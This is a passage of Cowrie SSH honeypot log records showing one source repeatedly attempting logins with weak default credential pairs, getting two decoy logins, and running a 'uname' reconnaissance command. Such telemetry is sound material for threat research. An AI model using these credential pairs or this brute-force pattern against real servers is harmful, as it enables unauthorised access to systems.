{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:30.739808Z","src_ip":"192.109.200.237","session":"145dcaac946f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"london","message":"login attempt [root/london] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:30.800689Z","src_ip":"62.133.63.178","session":"a2da9138f581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:31.930408Z","src_ip":"62.133.63.178","session":"a2da9138f581","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38748,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2c411355d80","protocol":"ssh","message":"New connection: 192.109.200.237:38748 (159.203.135.109:22) [session: a2c411355d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:32.490798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:32.496276Z","src_ip":"192.109.200.237","session":"a2c411355d80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:32.580879Z","src_ip":"192.109.200.237","session":"a2c411355d80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:32.833323Z","src_ip":"192.109.200.237","session":"a2c411355d80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:33.919016Z","src_ip":"192.109.200.237","session":"a2c411355d80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38754,"dst_ip":"159.203.135.109","dst_port":22,"session":"a17e04797919","protocol":"ssh","message":"New connection: 192.109.200.237:38754 (159.203.135.109:22) [session: a17e04797919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:35.603503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:35.613281Z","src_ip":"192.109.200.237","session":"a17e04797919","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:35.697057Z","src_ip":"192.109.200.237","session":"a17e04797919","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:35.948125Z","src_ip":"192.109.200.237","session":"a17e04797919","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:36.156316Z","src_ip":"192.109.200.237","session":"a17e04797919","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:36.159643Z","src_ip":"192.109.200.237","session":"a17e04797919","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:36.247459Z","src_ip":"192.109.200.237","session":"a17e04797919","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:36.253030Z","src_ip":"192.109.200.237","session":"a17e04797919","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38764,"dst_ip":"159.203.135.109","dst_port":22,"session":"2be12c523fc5","protocol":"ssh","message":"New connection: 192.109.200.237:38764 (159.203.135.109:22) [session: 2be12c523fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:38.742319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:38.747303Z","src_ip":"192.109.200.237","session":"2be12c523fc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:38.830969Z","src_ip":"192.109.200.237","session":"2be12c523fc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345","message":"login attempt [root/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:39.085019Z","src_ip":"192.109.200.237","session":"2be12c523fc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:40.171268Z","src_ip":"192.109.200.237","session":"2be12c523fc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44652,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1d478048631","protocol":"ssh","message":"New connection: 192.109.200.237:44652 (159.203.135.109:22) [session: a1d478048631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:41.902213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:41.910677Z","src_ip":"192.109.200.237","session":"a1d478048631","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:41.993100Z","src_ip":"192.109.200.237","session":"a1d478048631","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:42.239984Z","src_ip":"192.109.200.237","session":"a1d478048631","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:43.325254Z","src_ip":"192.109.200.237","session":"a1d478048631","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44656,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d38c23e9be2","protocol":"ssh","message":"New connection: 192.109.200.237:44656 (159.203.135.109:22) [session: 5d38c23e9be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:45.112821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:45.121678Z","src_ip":"192.109.200.237","session":"5d38c23e9be2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:45.196548Z","src_ip":"192.109.200.237","session":"5d38c23e9be2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:45.519489Z","src_ip":"192.109.200.237","session":"5d38c23e9be2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:46.604612Z","src_ip":"192.109.200.237","session":"5d38c23e9be2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44672,"dst_ip":"159.203.135.109","dst_port":22,"session":"d996e9c6b47a","protocol":"ssh","message":"New connection: 192.109.200.237:44672 (159.203.135.109:22) [session: d996e9c6b47a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:48.261148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:48.329425Z","src_ip":"192.109.200.237","session":"d996e9c6b47a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:48.414015Z","src_ip":"192.109.200.237","session":"d996e9c6b47a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:48.663493Z","src_ip":"192.109.200.237","session":"d996e9c6b47a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:49.750058Z","src_ip":"192.109.200.237","session":"d996e9c6b47a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49674,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c4c36a9b05f","protocol":"ssh","message":"New connection: 192.109.200.237:49674 (159.203.135.109:22) [session: 5c4c36a9b05f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:51.311828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:51.316360Z","src_ip":"192.109.200.237","session":"5c4c36a9b05f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:51.398824Z","src_ip":"192.109.200.237","session":"5c4c36a9b05f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:51.645110Z","src_ip":"192.109.200.237","session":"5c4c36a9b05f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:51.852539Z","src_ip":"192.109.200.237","session":"5c4c36a9b05f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:51.855809Z","src_ip":"192.109.200.237","session":"5c4c36a9b05f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:51.940638Z","src_ip":"192.109.200.237","session":"5c4c36a9b05f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:51.945807Z","src_ip":"192.109.200.237","session":"5c4c36a9b05f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49678,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3e2aae4e11f","protocol":"ssh","message":"New connection: 192.109.200.237:49678 (159.203.135.109:22) [session: e3e2aae4e11f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:54.377522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:54.382357Z","src_ip":"192.109.200.237","session":"e3e2aae4e11f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-